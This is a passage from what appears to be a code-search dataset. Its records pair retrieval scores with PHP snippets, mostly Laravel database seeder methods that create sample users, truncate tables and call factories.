50)->create();\n// factory(Tag::class, 10)->create();\n\n $this->call(UserTableSeed::class);\n $this->call(PostTableSeed::class);\n }", "title": "" }, { "docid": "301b33b51c3fe8c9f12d995d55ae7e7d", "score": "0.6870337", "text": "public function run()\n {\n User::create([\n 'name' => 'Admin',\n 'email' => '[email protected]',\n 'role' => 'admin',\n 'password' => bcrypt('admin'),\n ]);\n User::create([\n 'name' => 'user',\n 'email' => '[email protected]',\n 'password' => bcrypt('user'),\n ]);\n $this->call(CategoriesTableSeeder::class);\n $this->call(GuidesTableSeeder::class);\n $this->call(PlacesTableSeeder::class);\n $this->call(ServicesTableSeeder::class);\n }", "title": "" }, { "docid": "362169b9dac7e15233f3d10273d5aae4", "score": "0.68644124", "text": "public function run()\n {\n factory(Blog::class, 10)->create();\n factory(Task::class, 82)->create();\n factory(Product::class, 5)->create();\n\n User::insert([\n 'email' => '[email protected]',\n 'name' => 'Administrator',\n 'password' => bcrypt('secret'),\n ]);\n }", "title": "" }, { "docid": "4edb26e07c12dc08b3c7f1b2fd081124", "score": "0.6850782", "text": "public function initDatabase()\n {\n $this->call('migrate');\n\n $userModel = config('idiom.database.rd_cyjl');\n\n /*if ($userModel::count() == 0) {\n $this->call('db:seed', ['--class' => \\Encore\\Admin\\Auth\\Database\\AdminTablesSeeder::class]);\n }*/\n }", "title": "" }, { "docid": "d78e5bb67e86b0ecb15619a9c942c861", "score": "0.68364024", "text": "public function run(): void\n {\n $this->seedUsers();\n }", "title": "" }, { "docid": "74adb703f4d2ee8eeea828c6234b41f3", "score": "0.68241554", "text": "public function run()\n {\n Eloquent::unguard();\n\n $this->seed('Categories');\n\n // Illustration\n $this->seed('Supports');\n $this->seed('Illustrations');\n\n // Photography\n $this->seed('Photosets');\n $this->seed('Collections');\n $this->seed('Photos');\n\n $this->seed('Articles');\n $this->seed('Repositories');\n $this->seed('Services');\n $this->seed('Stories');\n $this->seed('Tableaux');\n $this->seed('Tracks');\n }", "title": "" }, { "docid": "a693c773daeb9ed2c3a5dca3b56c8e7d", "score": "0.6823892", "text": "public function run() {\n Eloquent::unguard();\n\n if (App::environment() === 'development' || App::environment() === 'local') {\n// echo \"\\nSeeding Development Seeders\\n\";\n// echo \"\\n=================================\\n\\n\";\n $this->developmentSeeder();\n } else if (App::environment() === 'testing') {\n// echo \"\\nSeeding Test Seeders\\n\";\n// echo \"\\n=================================\\n\\n\";\n $this->testingSeeder();\n } else {\n echo \"Unsupported environment: \" . App::environment();\n }\n }", "title": "" }, { "docid": "e83792167cb4bc20cda2cb3330b32591", "score": "0.68120635", "text": "public function run()\n {\n try {\n\n DB::beginTransaction();\n $this->_createTableData();\n DB::commit();\n\n } catch (\\Exception $e) {\n\n DB::rollBack();\n \\Log::info('[tag dbSeed Exception]: ' . $e);\n\n }\n }", "title": "" }, { "docid": "aa68c1b89bf41808ef76558d8ee8965c", "score": "0.6801601", "text": "public function initDatabase()\n {\n $this->call('migrate', ['--path' => './vendor/oyhdd/hyperf-admin/database/migrations/']);\n $userModel = config('admin.database.user_model');\n\n if ($userModel::count() == 0) {\n $this->call('db:seed', ['--path' => './vendor/oyhdd/hyperf-admin/database/seeders/']);\n }\n }", "title": "" }, { "docid": "5ffeb70487bb6419b4f60d930d4e7b00", "score": "0.67973745", "text": "public function run()\n {\n\n UserAddress::truncate();\n $faker = Factory::create();\n $this->seedCountries($faker);\n $this->seedCities($faker);\n $this->seedRoles($faker);\n $this->seedDepartments($faker);\n $this->seedUsers($faker);\n $this->seedUserAddress($faker);\n }", "title": "" }, { "docid": "ff42adb6774e0bbeff44a5168ad219fd", "score": "0.67916125", "text": "public function run()\n {\n $this->call([\n PermissionsTableSeeder::class,\n ]);\n\n \\App\\Models\\User::factory(10)->create();\n\n \\App\\Models\\Blog::factory(100)->create();\n }", "title": "" }, { "docid": "102a7ac2c5bf3d7bd06597a234035ae0", "score": "0.6788331", "text": "public function run()\n {\n \\App\\User::create(['name'=>\"asd\", 'email'=>\"[email protected]\", 'password'=>Hash::make(\"123456\")]);\n \n $directorio = \"database/seeds/json_seeds/\";\n $archivos = scandir($directorio);\n \n for($i = 2; $i < sizeof($archivos); $i++)\n {\n $nombre = explode(\".\", $archivos[$i])[1];\n \n $fullPath = \"App\\Models\\\\\" . $nombre;\n echo \"Seeding \". $i.\") \".$fullPath .\"...\\n\";\n $instance = (new $fullPath());\n \n $table = $instance->table;\n \n $json = File::get(\"database/seeds/json_seeds/\" . $archivos[$i]);\n \n DB::table($table)->delete();\n \n $data = json_decode($json, true);\n \n foreach ($data as $obj)\n {\n $instance::create($obj);\n }\n \n }\n \n \n }", "title": "" }, { "docid": "7ceb6ef657f7e8ce52446910ee9cfafa", "score": "0.6783699", "text": "protected function setUp()\n {\n $this->databaseSeed();\n parent::setUp();\n }", "title": "" }, { "docid": "3b24c0b9af61dd018720b9e612654ae7", "score": "0.67733926", "text": "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n try {\n DB::table('tbl_admin')->insert([\n 'admin_name' => 'admin',\n 'admin_email' => '[email protected]',\n 'admin_phone' => '0934065565',\n 'admin_password' => Hash::make('12345678')\n ]);\n }catch (\\Exception $exception){\n Log::error(\"[Seed Admin]\". $exception->getMessage());\n }\n }", "title": "" }, { "docid": "e5f27059aa9059441233f208fea616a8", "score": "0.67733175", "text": "public function run()\n {\n Model::unguard();\n\n $this->call('CategoriesTableSeeder');\n $this->call('RolesTableSeeder');\n $this->call('UsersTableSeeder');\n\n \\App\\Models\\User::findOrNew(1)->roles()->attach(1);\n \\App\\Models\\User::findOrNew(1)->roles()->attach(4);\n \\App\\Models\\User::findOrNew(2)->roles()->attach(2);\n \\App\\Models\\User::findOrNew(2)->roles()->attach(4);\n \\App\\Models\\User::findOrNew(3)->roles()->attach(4);\n \\App\\Models\\User::findOrNew(4)->roles()->attach(5);\n \\App\\Models\\User::findOrNew(5)->roles()->attach(6);\n\n $this->call('PostsTableSeeder');\n $this->call('ProfilesTableSeeder');\n\n Model::reguard();\n }", "title": "" }, { "docid": "51aaced69f566ada8bc5ae9132f2fad2", "score": "0.6763334", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n DB::statement(\"SET foreign_key_checks=0\");\n // Offerer::truncate();\n // ContractType::truncate();\n // User::truncate();\n // Agency::truncate();\n // Subsector::truncate();\n // Source::truncate();\n // Sector::truncate();\n // Role::truncate();\n // OrganizationUnit::truncate();\n // Organization::truncate();\n // Official::truncate();\n DB::statement(\"SET foreign_key_checks=1\");\n \n // $this->call(BannerSeeder::class);\n // $this->call(AgencySeeder::class);\n\n // User::create([\n // 'name' => 'Administrator',\n // 'username' => 'admin',\n // 'email' => '[email protected]',\n // 'password' => bcrypt('testing'),\n // 'type' => 'admin',\n // ]);\n\n // $agency = Agency::create([\n // 'name' => 'PUTR',\n // 'full_name' => 'Dinas Pekerjaan Umum dan Penataan Ruang',\n // ]);\n\n // User::create([\n // 'name' => 'PUTR',\n // 'username' => 'putr',\n // 'email' => '[email protected]',\n // 'password' => bcrypt('testing'),\n // 'agency_id' => $agency->id,\n // 'type' => 'agency',\n // ]);\n\n $this->call(ProjectStatusSeeder::class);\n\n // $org = Organization::create([\n // 'name' => 'General Directorate of Roads (DGC)',\n // 'legal_name' => 'General Directorate of Roads (DGC)',\n // 'description' => 'The Directorate-General for Traffic (Spanish: Dirección General de Tráfico, DGT) is the government department that is responsible for the Spanish road transport network.',\n // 'address' => 'C. Josefa Valcarcel, 28 - 28071 Madrid - España',\n // 'phone' => '22-32-72-00 ext:1501',\n // 'postal_code' => '421423',\n // 'main' => 0,\n // 'open_uri' => '',\n // 'website' => 'www.dgt.es',\n // ]);\n\n // $unit = OrganizationUnit::create([\n // 'unit_name' => 'UNIDAD DE APOYO TECNICO Y SEGURIDAD VIAL. (UATSV)',\n // 'entity_id' => $org->id,\n // ]);\n\n // $official = Official::create([\n // 'entity_unit_id' => $unit->id,\n // 'name' => 'Rene Echeverria',\n // 'position' => 'Credit Coordinator',\n // 'email' => '[email protected]',\n // 'phone' => '33092329',\n // ]);\n\n // $role = Role::create([\n // 'role_name' => 'Coordinator',\n // ]);\n\n // $sector = Sector::create([\n // 'sector_name' => 'Infrastructure Sector',\n // ]);\n\n // $subsector = Subsector::create([\n // 'sector_id' => $sector->id,\n // 'subsector_name' => 'Road subsector',\n // ]);\n\n // $source = Source::create([\n // 'source_name' => 'World Bank',\n // 'acronym' => 'WB',\n // ]);\n\n // $contractType = ContractType::create([\n // 'type_name' => 'Building',\n // ]);\n\n // $offerer = Offerer::create([\n // 'offerer_name' => 'Astaldi',\n // 'legal_name' => 'Astaldi S.p.A',\n // 'description' => 'We are an international construction group with a leading position in Italy and among the top 100 International Contractors.',\n // 'phone' => '+39 06 41766 1',\n // 'address' => 'Bureau Administratif et Financier. Lottissement 19/20 Aissat - Idir Cheraga - W Alger',\n // 'website' => 'https://www.astaldi.com/',\n // ]);\n }", "title": "" }, { "docid": "6134ad8a390f257a1f71b5e885e49643", "score": "0.6763222", "text": "public function run()\n {\n $this->databasePath = database_path();\n \n foreach ($this->seeds as $seed) {\n $this->call($seed);\n }\n }", "title": "" }, { "docid": "90a5fc026ca8895407886d63a96bf124", "score": "0.6763141", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n if(config('database.default') !== 'sqlite') {\n DB::statement('SET FOREIGN_KEY_CHECKS=0');\n }\n\n App\\User::truncate();\n $this->call(UsersTableSeeder::class);\n\n App\\Product::truncate();\n $this->call(ProductsTableSeeder::class);\n \n App\\Question::truncate();\n $this->call(QuestionsTableSeeder::class);\n\n App\\Answer::truncate();\n $this->call(AnswersTableSeeder::class);\n\n App\\Order::truncate();\n $this->call(OrdersTableSeeder::class);\n \n App\\Challenge::truncate();\n $this->call(ChallengesTableSeeder::class);\n\n App\\Category::truncate();\n $this->call(CategoriesTableSeeder::class);\n\n App\\StretchPost::truncate();\n $this->call(StretchPostsTableSeeder::class);\n\n if(config('database.default') !== 'sqlite') {\n DB::statement('SET FOREIGN_KEY_CHECKS=1');\n }\n }", "title": "" }, { "docid": "c99d3e4f4f24ab86317c2f8ce33ab7d4", "score": "0.6760986", "text": "public function run()\n {\n DB::statement('SET FOREIGN_KEY_CHECKS = 0'); // disable foreign key constraints\n\n Church::truncate();\n\n ChurchesTableSeeder::create([\n \t'name'=>'CE Ikosi',\n \t'email'=>'[email protected]',\n \t'zone' => 'Zone 1',\n \t'country' => 'Nigeria',\n \t'user_id'=>1 \t\n \t]);\n\n DB::statement('SET FOREIGN_KEY_CHECKS = 1'); // enable foreign key constraints\n }", "title": "" }, { "docid": "b8154b296420a129dd21cd1aedbcd1dc", "score": "0.6759361", "text": "public function run()\n\t{\n\t\tEloquent::unguard();\n\t\t$this->cleanUp();\n\n\t\t//call the seeders\n\t\tDB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\t\t$this->call('UsersTableSeeder');\n\t\t$this->call('ClientTableSeeder');\n\t\t$this->call('ComponentTableSeeder');\n\t\t$this->call('ApplicationTableSeeder');\n\t\t$this->call('NewsCategoryTableSeeder');\n\t\t$this->call('NewsTableSeeder');\n\t\t$this->call('QuestionTableSeeder');\n\t\t$this->call('AnswerTableSeeder');\n\t\tDB::statement('SET FOREIGN_KEY_CHECKS = 1');\n\t}", "title": "" }, { "docid": "29f7084da1d9396f7e2f863c0b517138", "score": "0.67521507", "text": "public function run()\n {\n \n // There are no foreign relationships but set it here anyways\n //DB::statement('SET_FOREIGN_KEY_CHECKS = 0');\n Appointment::truncate();\n Model::unguard();\n\n // $this->call('UserTableSeeder');\n\n $this->call('AppointmentsSeed');\n\n Model::reguard();\n }", "title": "" }, { "docid": "4da1f5e41284048bb915dc98a445301e", "score": "0.6745601", "text": "public function run()\n {\n factory(App\\Models\\EcomSetting::class,1)->create();\n $this->call(CurrenciesTableSeeder::class);\n $this->call(CountriesTableSeeder::class);\n $this->call(UserSeeder::class);\n factory(App\\Models\\ProductTags::class,10)->create();\n factory(App\\Models\\User\\UserProfile::class,7)->create();\n $this->call(ProductCategoryTableSeeder::class);\n $this->call(ProductSeeder::class);\n $this->call(BrandSeeder::class);\n $this->call(SiteSettingTableSeeder::class);\n }", "title": "" }, { "docid": "97e14a1bb26c9eae811d374370108b66", "score": "0.6745542", "text": "public function run()\n {\n DB::statement('SET FOREIGN_KEY_CHECKS = 0');\n Category::truncate();\n Product::truncate();\n factory(App\\Category::class,5)->create();\n factory(App\\Product::class,50)->create();\n // $this->call(UsersTableSeeder::class);\n }", "title": "" }, { "docid": "7b7f1ccca915745c7583e92fd3ad0c7d", "score": "0.67390454", "text": "public function run()\n {\n $this->seedOauthClientAccess();\n $this->seedPrimaryPages();\n $this->seedDevPosition();\n $this->seedDevPositionAccesses(1);\n $this->seedDevAccount();\n $this->seedDummyDataForTesting();\n\n // $this->call(UsersTableSeeder::class);\n\n //MODULE SEEDINGS\n $this->seedDefaultBenefitTypes();\n $this->seedDefaultPaymentModes();\n $this->seedDefaultPreExisting();\n $this->seedDefaultPaymentMethod();\n $this->seedDefaultProcedureTypes();\n $this->seedDefaultProcedures();\n\n // $this->seedDefaultTesting();\n }", "title": "" }, { "docid": "2db117b1d28054b0f08a58115645189d", "score": "0.67352927", "text": "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n // ?for seeding categories\n // Category::factory(5)->create();\n //? for seeding posts \n Post::factory(3)->create([\n 'category_id' => 5\n ]);\n }", "title": "" }, { "docid": "9fc640f0bf1a15bdf77b75141feed935", "score": "0.67321366", "text": "protected function initDB()\n {\n $this->create();\n }", "title": "" }, { "docid": "6fd37af4061bceb7c3ed860b1db5b07b", "score": "0.67320895", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class, 1)->create([\n 'role' => 'admin'\n ]);\n factory(App\\Question::class, 1)->create(['user_id' => 1])->each(function ($question) {\n $question->hashtags()->save(factory(App\\Hashtag::class)->make());\n });\n factory(App\\Comment::class, 1)->create([\n 'question_id' => 1\n ]);\n }", "title": "" }, { "docid": "ef09913bf304f611b2cd7933a621ea17", "score": "0.6728993", "text": "public static function initDatabase()\n {\n static::_deleteDatabase();\n static::_createConnection();\n static::_createTestSchema();\n static::_createMigrations();\n static::_applyMigrations();\n }", "title": "" }, { "docid": "4e46b7bb96a9b107e192d86757a18608", "score": "0.67250586", "text": "public function run()\n {\n $this->cleanDatabase();\n $this->call('TableSeeders');\n }", "title": "" }, { "docid": "0966d7399ec08c4b1b1fb494706dc8ef", "score": "0.67244196", "text": "public function run()\n {\n echo \" \\n ******* Starting database seeder ******* \\n\";\n\n // Order is important for data seeding\n $this->call(LocalesTableSeeder::class);\n $this->call(ModulesTableSeeder::class);\n $this->call(ModulePlansTableSeeder::class);\n $this->call(ModuleSchemasTableSeeder::class);\n $this->call(ForumModuleTableSeeder::class);\n $this->call(RolesTableSeeder::class);\n $this->call(UsersTableSeeder::class);\n $this->call(LinkTypesTableSeeder::class);\n $this->call(MenuGroupsTableSeeder::class);\n $this->call(PermissionRouteNameTableSeeder::class);\n // $this->call(MenusTableSeeder::class);\n $this->call(ParameterGroupsTableSeeder::class);\n $this->call(ParametersTableSeeder::class);\n $this->call(AddProcedureToModulesTableSeeder::class);\n $this->call(AddOutilGestionModuleToModulesTableSeeder::class);\n // $this->call(LocationsTableSeeder::class);\n $this->call(CountriesTableSeeder::class);\n $this->call(CountryTranslationsTableSeeder::class);\n /*\n * Keep This Commented we may use them instead of LocationsTableSeeder\n *\n $this->call(GovernoratesTableSeeder::class);\n $this->call(GovernorateTranslationsTableSeeder::class);\n $this->call(CitiesTableSeeder::class);\n $this->call(CityTranslationsTableSeeder::class);\n $this->call(ZonesTableSeeder::class);\n $this->call(ZoneTranslationsTableSeeder::class);*/\n\n $this->customApp();\n\n $this->fakeData();\n }", "title": "" }, { "docid": "a012c0f9a42a21c3e5fbde8fea222e4c", "score": "0.67168677", "text": "public function run()\n {\n Model::unguard();\n \n $this->call(EventsSeeder::class);\n $this->call(TeamMembersSeeder::class);\n $this->call(AdvisersSeeder::class);\n $this->call(AlumniSeeder::class);\n $this->call(PartnershipTypesSeeder::class);\n $this->call(PartnersSeeder::class);\n $this->call(SpeakersSeeder::class);\n \n DB::table('users')->insert([\n 'username' => 'marius',\n 'password' => '$2y$10$MddeaPC5ZX3X9spzXxH7l.8vPTF/OvYj9Ny.ocH6nJyNXyifHrsli',\n ]);\n \n }", "title": "" }, { "docid": "17846289edb803267c3282ae086c93ad", "score": "0.67124754", "text": "public function setUp()\n {\n parent::setUp();\n\n Artisan::call('migrate:refresh');\n $this->seed('DatabaseSeeder');\n $this->seed('TestDataSeeder');\n }", "title": "" }, { "docid": "374019bbfb3e48567fff7d176012834a", "score": "0.67076474", "text": "public function run()\n {\n Model::unguard();\n\n DB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n foreach ($this->toTruncate as $table) {\n DB::table($table)->truncate();\n }\n\n /**\n * Disables mailable sent when running factory seeder\n */\n User::flushEventListeners();\n Agent::flushEventListeners();\n Customer::flushEventListeners();\n Product::flushEventListeners();\n Category::flushEventListeners();\n Service::flushEventListeners();\n Role::flushEventListeners();\n Image::flushEventListeners();\n Profile::flushEventListeners();\n Permission::flushEventListeners();\n\n DB::table('category_product')->truncate();\n\n DB::statement('SET FOREIGN_KEY_CHECKS = 1');\n\n $this->call(UsersTableSeeder::class);\n $this->call(AgentsTableSeeder::class);\n $this->call(CustomersTableSeeder::class);\n $this->call(RolesTableSeeder::class);\n $this->call(PermissionsTableSeeder::class);\n $this->call(CategoriesTableSeeder::class);\n $this->call(ProductsTableSeeder::class);\n $this->call(ServicesTableSeeder::class);\n $this->call(ImagesTableSeeder::class);\n $this->call(TransactionsTableSeeder::class);\n // $this->call(oAuthClientTestSeeder::class);\n\n Model::reguard();\n }", "title": "" }, { "docid": "d63026d2b25efb367dabd31b5eafc1fd", "score": "0.6704071", "text": "public function setUp()\n {\n parent::setUp();\n\n $db = new DB;\n\n $db->addConnection([\n 'driver' => 'sqlite',\n 'database' => ':memory:',\n ]);\n\n $db->bootEloquent();\n $db->setAsGlobal();\n\n $this->createSchema();\n }", "title": "" }, { "docid": "2fca9bf0725abd081819588688399860", "score": "0.67005527", "text": "public function run()\n {\n $this->call(VideogameSeeder::class);\n $this->call(CategorySeeder::class);\n User::factory(15)->create();\n DB::table('users')->insert([\n 'name' => 'Santiago',\n 'email' => '[email protected]',\n 'password' => bcrypt('12345678'),\n 'address' => 'C/ Ultra',\n 'rol' => 'admin'\n ]);\n //Ratin::factory(50)->create();\n Purchase::factory(20)->create();\n //UserList::factory(1)->create();\n }", "title": "" }, { "docid": "0bdb09d40fb0c72e3ef7686ba61c3b81", "score": "0.6700342", "text": "public function run()\n {\n factory(App\\User::class)->create([\n 'email' => '[email protected]',\n 'name' => 'crudd',\n 'password' => bcrypt('password'),\n ]);\n factory(App\\User::class)->create([\n 'email' => '[email protected]',\n 'name' => 'user',\n 'password' => bcrypt('password'),\n ]);\n $this->call(ItemsTableSeeder::class);\n }", "title": "" }, { "docid": "654191b89a3f7b4f8f809dd4ca1e2f6d", "score": "0.6693512", "text": "public function run()\n {\n /**\n * Create default user for admin, lecturer and student\n */\n User::create([\n 'name' => 'Admin',\n 'email' => '[email protected]',\n 'password' => Hash::make('admin'),\n 'role' => 'admin'\n ]);\n\n User::create([\n 'name' => 'Sample Lecturer',\n 'email' => '[email protected]',\n 'password' => Hash::make('lecturer'),\n 'role' => 'admin'\n ]);\n\n User::create([\n 'name' => 'Student',\n 'email' => '[email protected]',\n 'password' => Hash::make('student'),\n 'role' => 'student'\n ]);\n\n /**\n * Create random 300 users with faker and role/password equal \"student\"\n */\n factory(App\\User::class, 300)->create();\n\n // run with php artisan migrate --seed\n }", "title": "" }, { "docid": "e92b39c751271622081fe6a63248f0d3", "score": "0.66905063", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n \n Seo::create([\n 'url' => '/',\n 'title' => 'title default',\n 'keywords' => 'keywords default',\n 'description' => 'description default',\n ]);\n\n User::create([\n 'name' => 'admin',\n 'email' => '[email protected]',\n 'password' => Hash::make('1234567'),\n ]);\n }", "title": "" }, { "docid": "0c728885bc3d30b956fa5a886f5bcba5", "score": "0.668813", "text": "public function run()\n\t{\n $this->seedTable('SettingsTableSeeder', 'Settings');\n\t}", "title": "" }, { "docid": "ddb1dc34d7b02a5b9d32f30538ce4b56", "score": "0.66876155", "text": "public function run()\n {\n $faker = Faker::create('en_US');\n\n DB::table('users')->insert([\n 'name' => $faker->name,\n 'email' => $faker->email,\n 'password' => str_random(8),\n 'created_at' => Carbon::now(),\n 'updated_at' => Carbon::now(),\n 'country_id' => rand(1,5),\n ]);\n }", "title": "" }, { "docid": "cc8f552ee0f8a62a0eda90cfd753de04", "score": "0.66818", "text": "public function run()\n {\n $faker = Faker\\Factory::create();\n\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n if (env(\"APP_ENV\") == 'local') {\n Comment::factory()->create([\n 'article_id' => $faker->randomElement(\\App\\Models\\Article::all()->pluck('id')->toArray()),\n 'user_id' => $faker->randomElement(\\App\\Models\\User::all()->pluck('id')->toArray()),\n ]);\n }\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }", "title": "" }, { "docid": "2a758621a40aa1558dc0c94fead121d7", "score": "0.6678881", "text": "public function run()\n {\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n User::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n for ($i = 0; $i < 50; $i++) {\n User::create([\n 'facebook_key' => $faker->sha256,\n 'google_key' => $faker->sha256,\n 'first_name' => $faker->firstNameMale,\n 'last_name' => $faker->lastName,\n 'e-mail' => $faker->email,\n 'password' => $faker->password,\n 'uber_key' => $faker->sha256,\n ]);\n }\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }", "title": "" }, { "docid": "9d2abe13b05f99177e4f0e0cdd336b85", "score": "0.6676733", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(Category::class, 10)->create();\n factory(Blog::class, 10)->create();\n }", "title": "" }, { "docid": "ca097935df869180d5d829ac5e81a331", "score": "0.6675996", "text": "public function run()\n {\n Eloquent::unguard();\n\n \t// disable foreign key check for this connection before running seeders\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n\n\t\t$this->call(UserTableSeeder::class);\n\t\t$this->call(RocketComponentTypesTableSeeder::class);\n\t\t$this->call(RocketComponentModelsTableSeeder::class);\n\t\t$this->call(AchievementsTableSeeder::class);\n\t\t// $this->call(QuestFulfillmentConditionTypesTableSeeder::class);\n\t\t// $this->call(QuestRewardTypesTableSeeder::class);\n\t\t// $this->call(QuestTableSeeder::class);\n\t\t// $this->call(QuestFulfillmentConditionsTableSeeder::class);\n\t\t// $this->call(QuestRewardsTableSeeder::class);\n\n // enable foreign key check\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }", "title": "" }, { "docid": "f1b3d1bb695e24855d16b3d3ba5bd483", "score": "0.6675029", "text": "public function run()\n {\n if (App::environment() === 'local') {\n $this->call(UsersSeeder::class);\n $this->call(ArticlesSeeder::class);\n $this->call(ParagraphsSeeder::class);\n }\n }", "title": "" }, { "docid": "8898665ff62b548d625911ca4f3fe163", "score": "0.66747075", "text": "public function run()\n\t{\n\t\tModel::unguard();\n DB::statement('SET FOREIGN_KEY_CHECKS = 0');\n $this->call('UserPermissionTableSeeder');\n $this->call('UserTypeTableSeeder');\n $this->call('PermissionTableSeeder');\n $this->call('UserTableSeeder');\n $this->call('BookCategoryTableSeeder');\n $this->call('BooksTableSeeder');\n $this->call('BookingsTableSeeder');\n DB::statement('SET FOREIGN_KEY_CHECKS = 1');\n\t}", "title": "" }, { "docid": "53c940414f34c1ba7631bce234956f59", "score": "0.6670751", "text": "protected function populateDB(AcceptanceTester $I)\n {\n// $I->runShellCommand('cd /var/www');\n exec('php artisan db:seed --class=DatabaseSeeder');\n exec('php artisan db:seed --class=SearchControllerSeeder');\n }", "title": "" }, { "docid": "ce01afb7c6c8a391fd960fc6f24aebf4", "score": "0.6670056", "text": "public function run()\n {\n Model::unguard();\n DB::statement('SET FOREIGN_KEY_CHECKS = 0'); // disable foreign key constraints\n $this->call(UserTableSeeder::class);\n $this->call(ConfiguracionTableSeeder::class);\n $this->call(EncomiendaTableSeeder::class);\n $this->call(BancosTableSeeder::class);\n //$this->call(EstadoTableSeeder::class);\n //$this->call(CiudadTableSeeder::class);\n $this->call(InventarioTableSeeder::class);\n //$this->call(Gcm_UsersTableSeeder::class);\n $this->call(TipopagoTableSeeder::class);\n $this->call(OrdenesTableSeeder::class);\n DB::statement('SET FOREIGN_KEY_CHECKS = 1'); // enable foreign key constraints\n Model::reguard();\n }", "title": "" }, { "docid": "2de5bf69cdcdfebfdd1e298a8f5e2abd", "score": "0.6669688", "text": "public function setUp(): void\n {\n parent::setUp();\n\n Artisan::call('db:seed');\n\n $this->applicationRoles();\n }", "title": "" }, { "docid": "2f8f479f6acb65f7b99c925910432e46", "score": "0.66674274", "text": "public function run()\n {\n /*$faker = \\Faker\\Factory::create();\n $data = [];*/\n\n DB::table('test')->truncate();\n\n /*for($i = 0; $i < 100; $i++){\n array_push($data, [\n 'name' => $faker->name,\n 'email' => $faker->email,\n 'age' => rand(18, 55),\n 'country_code' => $faker->stateAbbr\n ]);\n }\n\n DB::table('test')->insert($data);*/\n\n factory('App\\Test', 100)->create();\n }", "title": "" }, { "docid": "9534cf45fc57c06ef40fd6f7d2dda3df", "score": "0.6662946", "text": "public function run()\n {\n $timestamp = date('Y-m-d H:i:s');\n $faker = Faker::create();\n\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n DB::table('systems')->truncate();\n\n $system = [\n [\n 'name' => 'Main System',\n 'description' => $faker->realText(100),\n 'system_configuration_id' => 1,\n 'created_at' => $timestamp,\n 'updated_at' => $timestamp\n ]\n\n ];\n\n\n DB::table('systems')->insert($system);\n DB::statement('SET FOREIGN_KEY_CHECKS=1;'); \n }", "title": "" }, { "docid": "810101460249fbcdd3ea47bef82d4ec0", "score": "0.6662618", "text": "public function run()\n {\n Eloquent::unguard();\n\n // $this->call('UserTableSeeder');\n $this->call('SoalsTableSeeder');\n $this->call('LembarsTableSeeder');\n $this->call('SoalhaslembarsTableSeeder');\n $this->call('UserjawablembarsTableSeeder');\n $this->call('UjiansTableSeeder');\n $this->call('SoalujiansTableSeeder');\n $this->call('SentryGroupSeeder');\n $this->call('SentryUserSeeder');\n $this->call('SentryUserGroupSeeder');\n }", "title": "" }, { "docid": "368508f66336ac53d1be3d6743e70422", "score": "0.66582006", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n //Desactivamos la revision de las llaves foraneas.\n DB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n //trunco las tablas para poder meter datos nuevos\n articulos::truncate();\n clientes::truncate();\n impuestos::truncate();\n imp_art::truncate();\n empresa::truncate();\n\n $cantidadArticulos = 20;\n $cantidadClientes = 20;\n $cantidadImpuestos = 4;\n $cantidadImp_Arts = 10;\n $cantidadEmpresas = 10;\n\n factory(articulos::class, $cantidadArticulos)->create();\n factory(clientes::class, $cantidadClientes)->create();\n factory(impuestos::class, $cantidadImpuestos)->create();\n factory(imp_art::class, $cantidadImp_Arts)->create();\n factory(empresa::class, $cantidadEmpresas)->create();\n\n }", "title": "" }, { "docid": "cb235e0df81fac0eee88422c46e724db", "score": "0.66578877", "text": "public function run()\n\t{\n\t\tif (App::environment() === 'production')\n\t\t{\n\t\t\texit('Can not run seeds on production environment');\n\t\t}\n\n\t\tEloquent::unguard();\n\n\t\t$tables = [\n\t\t\t'organisms'\n\t\t];\n\n\t\tforeach ($tables as $table)\n\t\t{\n\t\t\tDB::table($table)->truncate();\n\t\t}\n\n\t\t$this->call('TaxaTableSeeder');\n\t\t$this->call('OrganismsTableSeeder');\n\t}", "title": "" }, { "docid": "d8aa9d1a66e018ca7c4a33e3c222390c", "score": "0.665313", "text": "public function run()\n {\n $this->labFacultiesSeeder();\n $this->labStudentSeeder();\n $this->labTagsTableSeeder();\n $this->labPositionsTableSeeder();\n $this->labSkillsTableSeeder();\n }", "title": "" }, { "docid": "1721df60a2d144cd5897b5252ac26666", "score": "0.6652204", "text": "public function run()\n\t{\n\t\tEloquent::unguard();\n\n\t\t$this->call('UsersTableSeeder');\n\t\t$this->call('LanguagesTableSeeder');\n\t\t$this->call('NewsCategoryTableSeeder');\n\t\t$this->call('CategoriesTableSeeder');\n\t\t$this->call('CountriesSeeder');\n\t\t// $this->call('FaqsTableSeeder');\n\t\t$this->call('InquiriesTableSeeder');\n\t\t$this->call('GeneralSettingsTableSeeder');\n\t\t$this->call('SiteVariablesTableSeeder');\n\t\t$this->call('GameSettingsTableSeeder');\n\t\t$this->call('MessagesTableSeeder');\n\t\t// $this->call('GamesTableSeeder');\n\t}", "title": "" }, { "docid": "ed9861786e67c02caead1abfda01c665", "score": "0.66522026", "text": "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n\n $this->call(SettingDatabaseSeeder::class);\n $this->call(RoleDataBaseSeeder::class);\n $this->call(AdminDataBaseSeeder::class);\n// $this->call(ProductDatabaseSeeder::class);\n\n\n }", "title": "" }, { "docid": "c8d45356aa6a26dbc0f8f55b3b96b143", "score": "0.66514635", "text": "public function run()\n {\n // prevent db error from key constraint when refresh seeder\n DB::statement('SET foreign_key_checks=0');\n DB::table('albums')->truncate();\n DB::statement('SET foreign_key_checks=1');\n\n $albums = [\n ['artist_id' => 1, 'name' => 'One Palitchoke', 'year_release' => 2005],\n ['artist_id' => 2, 'name' => 'Offering Love', 'year_release' => 2007],\n ['artist_id' => 3, 'name' => 'Ice Sarunyu', 